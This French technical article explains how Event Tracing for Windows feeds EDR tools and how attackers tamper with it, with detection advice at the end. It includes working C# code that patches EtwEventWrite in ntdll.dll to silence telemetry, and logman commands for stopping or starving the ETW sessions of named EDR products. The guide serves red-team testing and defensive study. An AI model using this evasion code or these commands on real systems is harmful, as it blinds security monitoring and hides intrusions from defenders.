L'ETW (Event Tracing for Windows) est le système de télémétrie centralisé de Windows, utilisé par les EDR (Endpoint Detection and Response), Windows Defender, Sysmon et les SIEM pour surveiller l'activité système. Les événements ETW couvrent les appels système, les chargements de DLL, les connexions réseau, les allocations mémoire, les accès au registre et les opérations sur les fichiers — formant la colonne vertébrale de la détection sur Windows. Les techniques d'ETW Tampering permettent aux attaquants de contourner les EDR en supprimant, modifiant ou désactivant les événements de télémétrie à leur source, rendant leurs actions invisibles pour les solutions de sécurité. Ce guide technique couvre l'architecture ETW (providers, sessions, consumers), les techniques de tampering (patching de ntdll.dll, manipulation de providers, désactivation de sessions), les implications pour la détection, et les contre-mesures défensives. Les Red Teamers, les développeurs d'EDR et les analystes SOC trouveront ici une référence technique complète sur cette guerre d'information entre attaquants et défenseurs.

En bref

  • ETW architecture : providers, sessions, controllers, consumers et le kernel logger
  • Patching ntdll.dll : désactivation de EtwEventWrite en userland
  • Provider tampering : désactivation sélective de providers critiques (Microsoft-Windows-Threat-Intelligence)
  • Session manipulation : détachement des consumers, modification des filtres
  • Détection du tampering : intégrité ntdll, provider monitoring et kernel telemetry
ETW (Event Tracing for Windows) — Infrastructure de tracing haute performance intégrée au kernel Windows. Les providers (composants système ou applicatifs) émettent des événements structurés vers des sessions ETW, qui les routent vers des consumers (EDR, Sysmon, Event Log). ETW gère des milliers de providers couvrant tous les aspects du système.

Architecture ETW : Providers, Sessions et Consumers

Composant ETWRôleVecteur de tampering
ProviderSource d'événements (kernel, .NET CLR, PowerShell...)Unregister, disable, filter manipulation
SessionCanalise les événements vers les consumersStop session, détacher consumer, flush
ControllerCrée/configure les sessionsModifier les paramètres de la session
ConsumerReçoit et traite les événements (EDR, Event Log)Bloquer la réception, modifier les buffers
Kernel LoggerSession spéciale (NT Kernel Logger)Difficile à tamper (kernel-level)

Providers ETW Critiques pour la Sécurité

Tous les providers ETW ne sont pas égaux — certains sont essentiels pour la détection :

  • Microsoft-Windows-Threat-Intelligence : provider kernel-level utilisé par les EDR pour la détection d'injection de code, de manipulation mémoire et d'accès aux credentials (LSASS). C'est le provider le plus critique et le plus ciblé.
  • Microsoft-Windows-DotNETRuntime : traçage de l'exécution .NET, assemblies chargés, JIT compilation — essentiel pour détecter les attaques .NET (in-memory execution, AMSI bypass).
  • Microsoft-Windows-PowerShell : logging complet de PowerShell (ScriptBlock logging, Module logging) — pilier de la détection des attaques PowerShell.
  • Microsoft-Windows-Kernel-Process : création/terminaison de processus, chargement de DLL — base de la détection comportementale.

Technique 1 : Patching de ntdll.dll (EtwEventWrite)

La technique la plus simple : patcher la fonction EtwEventWrite dans ntdll.dll (en mémoire, dans le processus courant) pour qu'elle retourne immédiatement sans émettre d'événement. Tous les événements ETW userland du processus sont silencieusement supprimés :

// C# — Patch de EtwEventWrite (retourne STATUS_SUCCESS sans rien faire)
// TECHNIQUE UTILISÉE PAR LES RED TEAMS — À DES FINS D'AUDIT UNIQUEMENT

using System.Runtime.InteropServices;

[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]  
static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, 
    uint flNewProtect, out uint lpflOldProtect);

var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");

// Rendre la mémoire writable
VirtualProtect(etwAddr, (UIntPtr)2, 0x40, out uint oldProtect);

// Écrire "xor eax, eax; ret" (retourne 0 = STATUS_SUCCESS)
Marshal.WriteByte(etwAddr, 0x33);       // xor eax, eax
Marshal.WriteByte(etwAddr + 1, 0xC0);
Marshal.WriteByte(etwAddr + 2, 0xC3);   // ret

// Restaurer les protections mémoire
VirtualProtect(etwAddr, (UIntPtr)2, oldProtect, out _);

Technique 2 : Provider Unregistration

Au lieu de patcher des fonctions, l'attaquant peut désenregistrer les providers ETW critiques ou modifier leurs paramètres de filtrage pour supprimer les événements spécifiques qui intéressent la détection. Cette technique est plus subtile que le patching car elle utilise les API ETW légitimes.

Technique 3 : Manipulation des Sessions ETW

Les sessions ETW peuvent être listées, modifiées et arrêtées avec des privilèges administrateur. Un attaquant peut :

# Lister les sessions ETW actives (identifier les sessions EDR)
logman query -ets

# Les sessions typiques d'un EDR :
# - "SenseNdr"     (Microsoft Defender for Endpoint)  
# - "CrowdStrike"  (Falcon)
# - "SentinelOne"  (S1 Agent)
# - "Sysmon"       (System Monitor)

# Arrêter une session ETW (nécessite SYSTEM ou admin)
# logman stop "SessionName" -ets

# Modifier le buffer size (réduire → perte d'événements par overflow)
# logman update "SessionName" -ets -bs 1

Détection du ETW Tampering

Les défenseurs doivent surveiller activement les tentatives de tampering :

  • Intégrité de ntdll.dll : comparer les octets de EtwEventWrite en mémoire avec la version sur disque. Tout écart indique un patching.
  • Provider monitoring : surveiller les appels à EventUnregister, ControlTrace(EVENT_TRACE_CONTROL_STOP), et les modifications de session ETW.
  • Kernel telemetry : le provider Microsoft-Windows-Threat-Intelligence opère au niveau kernel — il ne peut pas être désactivé par un patching userland de ntdll.dll.
  • ETW self-monitoring : utiliser ETW pour surveiller les modifications d'ETW (meta-monitoring). Le provider Microsoft-Windows-EventTraceConfig émet des événements quand des sessions sont créées/modifiées/arrêtées.
  • PPL protection : exécuter l'EDR en tant que PPL (Protected Process Light) empêche le patching de ses propres copies de ntdll.dll par des processus non-PPL.

Le Provider Threat-Intelligence

Le provider Microsoft-Windows-Threat-Intelligence est spécial : il opère au niveau kernel et ne peut être consommé que par des processus PPL (Protected Process Light) avec le signer ELAM (Early Launch Anti-Malware). Il fournit des événements critiques comme les écritures mémoire inter-processus (injection de code), les allocations mémoire exécutables et les accès aux credentials. Le tamper de ce provider nécessite un driver kernel ou un exploit pour PPL bypass.

⚠️ Attention — Le patching de ntdll.dll (EtwEventWrite) est la technique de tampering la plus courante mais aussi la plus détectable. Les EDR modernes vérifient périodiquement l'intégrité de ntdll.dll en mémoire. Les techniques plus avancées (provider manipulation, session filtering) sont plus furtives mais nécessitent des privilèges élevés.

À retenir

  • ETW est la colonne vertébrale de la détection Windows — désactiver ETW aveugle les EDR, Sysmon et Defender
  • Le patching de EtwEventWrite dans ntdll.dll (xor eax,eax; ret) est la technique de tampering la plus simple
  • Le provider Threat-Intelligence opère au kernel-level et nécessite PPL pour être consommé — plus résistant au tampering
  • Les sessions ETW peuvent être arrêtées ou modifiées par un admin — surveiller les appels ControlTrace
  • La détection du tampering repose sur l'intégrité de ntdll.dll, le monitoring des sessions et la télémétrie kernel

FAQ — Questions Fréquentes

Le patching de ntdll.dll affecte-t-il tout le système ?

Non, le patching de EtwEventWrite dans ntdll.dll n'affecte que le processus courant. Chaque processus a sa propre copie de ntdll.dll en mémoire (copy-on-write). L'EDR dans son propre processus continue de recevoir ses événements normalement. Cependant, les événements du processus patché sont supprimés — y compris ceux qui auraient été envoyés aux providers kernel via la transition syscall.

Les EDR modernes sont-ils vulnérables au ETW tampering ?

Les EDR de nouvelle génération combinent la télémétrie ETW avec des minifilters kernel (filesystem, registry), des callback kernel (process/thread creation, image loading) et des hooks SSDT/inline. Désactiver ETW userland seul n'aveugle pas complètement un EDR bien conçu. Cependant, de nombreux EDR dépendent encore fortement d'ETW pour la détection .NET, PowerShell et les événements de réseau.

Comment tester la résilience de mon EDR au ETW tampering ?

Utilisez les outils de test comme TelemetrySourcerer (manipulateur de sessions ETW), Invoke-Phant0m (kill des threads ETW), et Seatbelt (audit des configurations ETW). Testez dans un lab isolé : patchhz EtwEventWrite, arrêtez les sessions ETW, et vérifiez ce que votre EDR détecte encore. Documentez les gaps et travaillez avec votre vendor pour les combler.

Besoin d'un accompagnement expert ?

Nos consultants spécialisés en audit de sécurité et Red Team vous accompagnent dans l'évaluation de votre posture de sécurité.

Contactez-nous
Article recommandé : TPM et BitLocker : Cold Boot et Bypass Chiffrement